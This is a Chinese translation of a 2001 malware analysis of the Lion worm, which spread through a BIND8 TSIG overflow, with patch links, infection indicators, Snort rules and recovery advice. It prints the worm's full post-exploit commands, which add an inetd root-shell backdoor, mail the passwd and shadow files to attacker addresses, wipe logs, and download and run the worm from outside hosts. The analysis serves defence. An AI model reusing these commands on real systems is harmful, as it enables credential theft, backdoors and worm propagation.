当前位置:Linux教程 - Linux - 狮子蠕虫解析

狮子蠕虫解析

原著:Max Vision
前言
Lion蠕虫从2001年4月6日,由http://www.sans.org报道以来引起了广泛的关注。它最初来源于(中国红客联盟,作者是一位中国“红客”-lion。这个蠕虫是这个组织针对日本修改教科书一事进行报复的一部分,从Lion蠕虫感染系统后行为来看,其主要目的是搜集系统信息,可能是下一步攻击的前奏。下面是HUC关于Lion蠕虫的宣言:
because of the Japan''s disrepect,cnhonker had been roused ,and the lion worm is just
to tell the Japanese chinese is not sheep,they must be answer for.They must assue
the obligation with their crime.They must assue their artion for the educational book
这篇文章的作者在文章中对此表达了自己的不满,认为不应该以此目的散布Lion蠕虫。在翻译时,我将这一部分省略了。不过,如果单纯从技术的角度来看,这个蠕虫几乎没有任何新意,简直是抄袭,它的传播之所以能够引起如此大的震动,主要要归功于BIND8的两个安全漏洞。是这两个珠联壁合的安全缺陷使Lion蠕虫能够大范围攻击DNS系统,快速传播。


综述
Lion蠕虫有三个非常清晰的版本,是一个由脚本驱动的蠕虫。第一版有一个感染例程和一个t0rn rootkit;第二版是第一版的一个改进版本,只是没有rootkit;第三版几乎就是ramen蠕虫的一个翻版,只是exploit部分改为利用BIND8安全缺陷。
这三个版本有同样的核心部分。这个蠕虫有一个利用TCP连接进行扫描的端口扫描程序,BIND8 exploit程序,还有一些脚本用来粘连蠕虫的各个部分,并驱动蠕虫。前两个版本的蠕虫是从一台服务器上下栽自己(中国境内的一台FreeBSD服务器)。而第三版使用了分布式的传播代码,从前一台被感染的系统下载自身,这些代码来自ramen蠕虫,所有已经发现的Lion蠕虫中都有下面这些文件:
1).li0n.sh 作者:蠕虫的作者 shell脚本,删除tcpwrapers访问控制列表,运行getip.sh,把蠕虫加入启动脚本,接着运行star.sh
2).getip.sh 作者:蠕虫的作者 shell脚本,把系统的IP地址、操作系统版本信息、/etc/passwd文件和/etc/shadow文件发送到攻击者的email地址([email protected])
3).star.sh 作者:蠕虫的作者 shell脚本,启动scan.sh和hack.sh为后台进程。
4).scan.sh 作者:蠕虫的作者 shell脚本,停止所有本地正在运行的BIND进程,运行randb选择一个B类网址,接着对目标运行pscan,把结果保存在bindname.log。
5).randb 作者:不详 Linux ELF二进制文件,打印一个随机的B类IP地址,和ADMw0rm的gimmeRAND.c文件极为类似。
6).pscan 作者:不详 Linux ELF二进制文件,是一个端口扫描程序,在一个给定的A、B、C范围中扫描一个单一的TCP端口。首次发现,但是在源代码中没有作者的声明。
7).hack.sh 作者:蠕虫的作者 shell脚本,从bindname.log读取并且使用bindx.sh攻击目标。
8).bindx.sh 作者:蠕虫的作者 shell脚本,启动bind攻击远程目标
9).bind 作者:LSD Linux ELF二进制文件,攻击有安全缺陷的bind-8.2.x BIND服务器。

这是一个典型的蠕虫,从以前的蠕虫中抄袭了很多代码,例如:ADMworm(1998)、Millenium Worm(1999)和Ramen Worm(2001)。除非认为hack.sh是为了驱动多个攻击脚本,否则这个文件是多余的。这个蠕虫的作者在其中只放了一个攻击程序,但是为使用多种攻击留下扩展空间。其它的脚本也是从其它的蠕虫改进的。

三个版本的lion蠕虫都是用同样的传染、繁殖方式。lion蠕虫的网络活动是从53/TCP端口开始的,它随机扫描B类IP地址段。当发现一个BIND域名服务器,就启动攻击程序攻击目标。攻击成功后,运行下载命令把自己下载到被侵入的主机,展开包,运行启动脚本。

lion蠕虫所做的第一步是使用pscan探测一个随机的B类IP地址空间。我修理了一下randb程序使其总是返回10.0.0。我之所以选择C类IP地址空间10.0.0.0/24,只不过是要减小日志文件的大小。pscan程序使用完全连接扫描,它向这个地址空间的每个地址发出了一个同步包(SYN),这样加快了扫描的速度,但是在日志中也加入了更多的“噪音”,目标主机地址在10.0.0.23运行RedHat Linux6.2。被Lion蠕虫感染的攻击源主机在另外一个子网。如果在同一个子网,基于TCP连接的端口扫描程序将不对这个子网的主机进行扫描,除非响应ARP请求。

建立一个完整的连接:

03/26-02:09:58.233466 192.168.0.3:4556 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:56799 IpLen:20 DgmLen:60 DF
******S* Seq: 0x16322CA3 Ack: 0x0 Win: 0x7D78 TcpLen: 40

03/26-02:09:58.247112 10.0.0.23:53 -> 192.168.0.3:4556
TCP TTL:64 TOS:0x0 ID:749 IpLen:20 DgmLen:60 DF
***A**S* Seq: 0x8BACEBE6 Ack: 0x16322CA4 Win: 0x7D78 TcpLen: 40

03/26-02:09:58.247190 192.168.0.3:4556 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:56930 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x16322CA4 Ack: 0x8BACEBE7 Win: 0x7D78 TcpLen: 32

很优美地断开连接:
03/26-02:09:58.344645 192.168.0.3:4556 -> 10.10.0.23:53
TCP TTL:64 TOS:0x0 ID:56932 IpLen:20 DgmLen:52 DF
***A***F Seq: 0x16322CA4 Ack: 0x8BACEBE7 Win: 0x7D78 TcpLen: 32

03/26-02:09:58.385016 10.0.0.23:53 -> 192.168.0.3:4556
TCP TTL:64 TOS:0x0 ID:750 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x8BACEBE7 Ack: 0x16322CA5 Win: 0x7D78 TcpLen: 32

03/26-02:09:58.386565 10.0.0.23:53 -> 192.168.0.3:4556
TCP TTL:64 TOS:0x0 ID:751 IpLen:20 DgmLen:52 DF
***A***F Seq: 0x8BACEBE7 Ack: 0x16322CA5 Win: 0x7D78 TcpLen: 32

03/26-02:09:58.386614 192.168.0.3:4556 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:56934 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x16322CA5 Ack: 0x8BACEBE8 Win: 0x7D78 TcpLen: 32

pscan发现10.0.0.23符合其要求,就把这个地址加入到bindname.log文件。hack.sh脚本文件和扫描程序并行,跟踪bindname.log文件。一旦发现有一个新的IP地址加入到bindname.log文件,hack.sh就启动攻击程序攻击目标主机。

BIND攻击程序是由LSD(the Last Satge of Delirium)发布的,lion蠕虫的三个版本都使用了它作为自己的exploit程序。LSD于2001年2月8日在其网站上发布了linx86_bind.c,狮子蠕虫v1.0就是使用的这个版本。然而,第二天,LSD升级了这个exploit程序,不过文件名没有改变,只是做了一些轻微的改动。升级没有做技术上的改动。新的exploit代码中的一个显著变化就是采用了不同的命令行参数。通过观察命令行参数,我弄清楚了,狮子蠕虫v1.0版使用的是2月8日发布的exploit代码,而后两个版本使用的是升级版本。而且,每个版本都使用不同的命令来攻击远程BIND主机。

我对狮子蠕虫的分析被选用的示例目标平台弄复杂了。我使用一台安装RedHat6.2的服务器作为目标。恐怕这是Internet上最为流行的Linux发布和版本了。因此,它是最典型的示例目标。虽然,在exploit代码中特别列出可以攻击RedHat6.2平台,但是named并非Redhat默认启动的服务。当它被激活(通过linuxconf或者ntsysv等工具),named是在named用户的权限下运行的。只有手工把named加入到启动脚本中时,named以root的权限运行,攻击才有意义。因为每个版本的蠕虫使用同样的攻击程序,所以除了命令外,捕获的包几乎完全相同。

首先,攻击程序和目标主机的named进程建立一个TCP连接;接着,向目标主机发送一个定制的UDP/IQUERY包,利用BIND infoleak BUG,确定named进程栈祯的基指针。然后使用得到的信息构造TSIG exploit包。

TSIG包造成目标主机named缓冲区溢出。缓冲区溢出成功后,exploit程序的root shell就会遍历named进程打开的文件描述符,寻找开始建立的TCP对话的描述符;然后,使用系统调用dup()把这个套接字描述符复制到STDIN、STDOUT、STDERR;最后启动一个新的/bin/sh进程。

现在,这个TCP对话被绑定到了root shell上,攻击程序就可以向其发出命令了。下面就是狮子蠕虫通过攻击程序发出的命令:
1).狮子V1.0:
PATH=''/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin'';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo ''1008 stream tcp nowait root /bin/sh sh'' >>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail [email protected] <1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;
tar -zxvf 1i0n.tgz;
rm -fr 1i0n.tgz;
cd lib;
./1i0n.sh;
exit;

2).狮子V2.0
PATH=''/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin'';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo ''1008 stream tcp nowait root /bin/sh sh'' >>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail [email protected] <1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
echo >/var/log/messages;
echo >/var/log/maillog;
lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;
tar -zxvf 1i0n.tgz;
rm -fr 1i0n.tgz;
cd lib;
./1i0n.sh;
exit

3).狮子V3.0
PATH=''/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin'';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo ''10008 stream tcp nowait root /bin/sh sh'' >>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail [email protected] <1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
echo >/var/log/messages;
rm -rf /var/log/maillog;
echo ''Powered by H.U.C(c0011i0n).-----1i0n Crew'' >index.html;
echo ''#!/bin/sh'' > lion;
echo ''nohup find / -name ""index.html"" -exec /bin/cp index.html {} ;''>>lion;
echo ''tar -xf 1i0n.tar''>>lion;
echo ''./1i0n.sh'' >>lion;
echo >>lion;
echo >>lion;
chmod 755 lion;
TERM=''linux''
export PATH=''/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin''
lynx -source http://PREVIOUS-HOST-IP:27374 > 1i0n.tar;
./lion

狮子蠕虫三个版本传播方式最关键的不同是:前两个版本使用lynx从一个网站下载worm,不具备分布式传播的能力;而第三版使用从ramen蠕虫的asp代码进行传播。这种方式使被攻击染的主机向后连接到入侵主机的27374端口下载蠕虫文件。这个端口由asp程序使用,这个程序由inet启动,在inet.conf文件中的服务名是asp。在Redhat6.2系统内的/etc/services文件中对应的端口也是27374。

当狮子蠕虫感染了一个远程的系统,它就通过exploit程序发出命令下载自身代码,解压,并且在新的被入侵主机中启动。 其感染过程如图所示:


如何阻止其传播
因为狮子蠕虫只是利用BIND8 TSIG BUG传播,所以通过修补这个安全缺陷可以组织其感染。从2001年月起,供应商开始提供安全补丁。有缺陷的Linux发布也发布了升级RPM包。针对这个安全缺陷的各种远程exploit代码在各个网上论坛和WEB站点广为传播。尽管有可靠的安全补丁,大量的系统仍然存在这个缺陷。


试图隐藏BIND版本和服务器运行的操作系统不能有效地阻止狮子蠕虫的感染,因为这个蠕虫会试图感染其发现的所有BIND服务器。由LSD编写的exploit代码可以自动利用BIND8 infoleak缺陷判断系统可否感染。

Caldera, Conectiva, Debian, Immunix, Mandrake, Redhat, Slackware, SuSE和 TurboLinux已经推出了针对这个缺陷的补丁和升级版本。下面是相关连接:
Caldera: http://www.caldera.com/support/security/advisories/CSSA-2001-008.1.txt
Conectiva: http://distro.conectiva.com/atualizacoes/?id=a&anuncio=000377
Debian: http://www.debian.org/security/2001/dsa-026
Immunix: http://download.immunix.org/ImmunixOS/7.0-beta/updates/IMNX-2001-70-001-01
Mandrake: http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-017.php3
Redhat: http://www.redhat.com/support/errata/RHSA-2001-007.html
Slackware: http://www.linuxsecurity.com/advisories/slackware_advisory-1121.html
SuSE: http://www.suse.com/de/support/security/2001_003_bind8_%20txt.txt
TurboLinux: http://www.turbolinux.com/pipermail/tl-security-announce/2001-February/000034.html

如何检查自己的系统是否被感染
Redhat6.2的默认安装环境下,扫描和BIND exploit攻击不会在系统的日志中留下记录。其它的系统可能有所不同。虽然狮子蠕虫的三个版本都截断或者删除/var/log/maillog文件,但是可以通过代理邮件网关或者防火墙进行跟踪蠕虫把信息发送到的邮件地址。三个版本使用的邮件地址如下:
1).狮子v1.0
[email protected]
[email protected]
2).狮子v2.0
[email protected]
[email protected]
3).狮子v3.0
[email protected]

下面是狮子蠕虫改变的文件:
1).lion v1.0
BIND exploit程序改变的文件:
/dev/.lib/ 目录和其中的内容
/etc/inetd.conf 文件中加入 ''1008 stream tcp nowait root /bin/sh sh''
/.bash_history 被删除

蠕虫脚本改变的文件:
/etc/rc.d/rc.sysinit 文件加入了一个新的入口''/dev/.lib/lib/scan/star.sh''
/etc/hosts.deny is missing (an empty placeholder file is present by default) 文件被删除,由一个空文件取代

被t0rn rootkit改变的文件:
/etc/inetd.conf 文件中加入 ''60008 stream tcp nowait root /bin/sh sh''
/etc/inetd.conf 文件中加入''33567 stream tcp nowait root /bin/sh sh''
/etc/ttyhash 文件被加入到系统 (中国红客密码的散列值)
/usr/man/man1/man1/lib/.lib/ 目录及其内容
/usr/src/.puta/ 目录及其内容
/usr/info/.t0rn/ 目录及其内容
/bin/mjy 被加入到系统(日志擦除工具)
/usr/man/man1/man1/lib/.lib/.x 被加入到系统(suid root shell)
/etc/rc.d/rc.sysinit 文件中加入nscd (not in the worm) 和in.telnetd的木马版本
/tmp/.pinespool 文件 (维护inetd.conf的临时文件)
/root/.bash_history 被删除
/var/log/messages 被截断
/var/log/maillog 被截断

被木马程序代替的文件:
/bin/in.telnetd
/usr/sbin/in.fingerd
/bin/ps
/sbin/ifconfig
/usr/bin/du
/bin/netstat
/usr/bin/top
/bin/ls
/usr/bin/find
注意:William Sterns写了一个软件lionfind-0.1.tar.gz检查系统是否被狮子v1.0感染

lionv2.0
BIND exploit改变的内容:
/dev/.lib/ 目录及其内容
/etc/inetd.conf 文件中加入 ''1008 stream tcp nowait root /bin/sh sh''
/.bash_history 被删除
/var/log/messages 被截断
/var/log/maillog 被截断

蠕虫脚本改变的文件:
/etc/rc.d/rc.sysinit 文件中加入 ''/dev/.lib/lib/scan/star.sh'' (wrong directory buddy)
/etc/hosts.deny i被删除(an empty placeholder file is present by default)

lionv3.0
/dev/.lib/ 目录及其内容
/etc/inetd.conf 文件中加入 ''10008 stream tcp nowait root /bin/sh sh''
/.bash_history 被删除
/var/log/messages 被截断
/var/log/maillog被删除
所有的index.html文件被''Powered by H.U.C(c0011i0n).-----1i0n Crew''覆盖

蠕虫脚本改变的文件:
/sbin/asp被加入到系统 (lite webserver to allow download of worm to next system)
/tmp/ramen.tgz文件(Lion worm author used the asp62 binary from the Ramen worm)
/etc/inetd.conf 文件中加入 ''asp stream tcp nowait root /sbin/asp''
/etc/rc.d/rc.sysinit 文件中加入 ''/dev/.lib/star.sh''
/etc/hosts.deny 被删除(用一个空的文件取代)
所有的index.html 文件被""lion crew"" 反日信息取代


下面这些端口是狮子蠕虫的后门,而其1.0版的后门特别多。
lion v1.0
telnetd程序在23/TCP端口监听,使用cnhonker作为密码登录,来自t0rn rootkit。
/bin/sh绑定到1008/TCP端口,来自BIND8攻击程序。
/bin/sh绑定到2555/TCP端口,来自t0rn rootkit,由in.fingerd程序的特洛伊木马版本激活。
/bin/sh绑定到33567/TCP端口,来自t0rn。
sshd在33568/TCP端口监听,使用cnhonker作为密码登录,来自t0rn rootkit。
/bin/sh绑定到60008/TCP端口,来自t0rn。

lion v2.0
/bin/sh绑定到1008端口,来自BIND8攻击程序。

lion v3.0
/bin/sh绑定到1008端口,来自BIND8攻击程序。
/sbin/asp绑定到27374/TCP端口,一个轻量级的WEB服务器,用来下载蠕虫。


检测
使用下面的snort arachNIDS规则能够检测蠕虫的感染。

pscan使用如下规则启动snort的端口扫描插件:
preprocessor portscan: $INTERNAL 3 5 /var/log/snort/portscan

BIND infoleak权限使用如下规则集来检测:
alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: ""IDS482/named-exploit-infoleak-lsd""; content: ""|AB
CD 09 80 00 00 00 01 00 00 00 00 00 00 01 00 01 20 20 20 20 02 61|""; reference:arachnids,482;)

BIND8 TSIG缓冲区溢出使用下面arachNIDS规则检测:
alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: ""IDS489/named-exploit-tsig-lsd""; content: ""|3F
909090 EB3B 31DB 5F 83EF7C 8D7710 897704 8D4F20|""; reference:arachnids,489;)

向外发的邮件也可以检测。然而,加入邮件检测对于IDS的性能得不偿失。而且,在不出发上面规则的情况下蠕虫无法发出邮件。


事故恢复
杀死蠕虫的进程,删除其文件,删除后门只是你清楚狮子蠕虫的一部分。不幸的是,你的系统是在root曾被攻击的,你的IP地址和密码信息已经被发送给攻击者了。他们可以使用这些信息通过后门登录到你的系统并且对系统做其它的改变。而且,攻击者编写这个蠕虫的目的并不是为了修复系统的安全缺陷,所以其它的攻击者仍旧能够利用它攻击系统。要对系统进行彻底的恢复请参考Steps for Recovering from a UNIX Root Compromise


事故报告
通常,攻击的发起地址也是被感染的系统,所以最好报告给你的紧急处理小组。